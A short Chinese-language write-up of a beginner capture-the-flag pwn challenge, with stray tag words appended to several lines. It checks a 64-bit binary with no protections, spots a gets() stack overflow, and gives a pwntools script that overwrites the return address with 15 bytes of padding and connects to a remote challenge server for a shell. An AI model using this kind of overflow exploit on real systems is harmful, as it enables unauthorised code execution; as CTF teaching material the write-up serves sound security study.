今天開始學pwn,以練促學,學以至用,加油加油node
拿到文件,首先檢查一下是多少位的,如圖python
能夠看到是64位的文件linux
檢查是否有保護,如圖函數
看到沒有任何保護debug
ida分析一下函數的邏輯code
進入到反彙編以下,代碼邏輯就是讓咱們輸入,而後結束,咱們主要看一下gets,由於gets有棧溢出漏洞blog
咱們發現輸入的地址空間大小爲15,而後就執行函數返回地址,那麼咱們直接在15後將系統命令函數地址填入便可,或者直接寫函數的名稱,而後取函數地址也能夠rem
expget
from pwn import * context(os="linux", arch="amd64", log_level="debug") elf = ELF("pwn1") system_addr = elf.symbols["fun"] content = 0 def main(): if content == 1: p = process("pwn1") else: p = remote("node3.buuoj.cn",29922) payload = b'a'*15 + p64(system_addr) p.sendline(payload) p.interactive() main()
運行結果class
拿到flag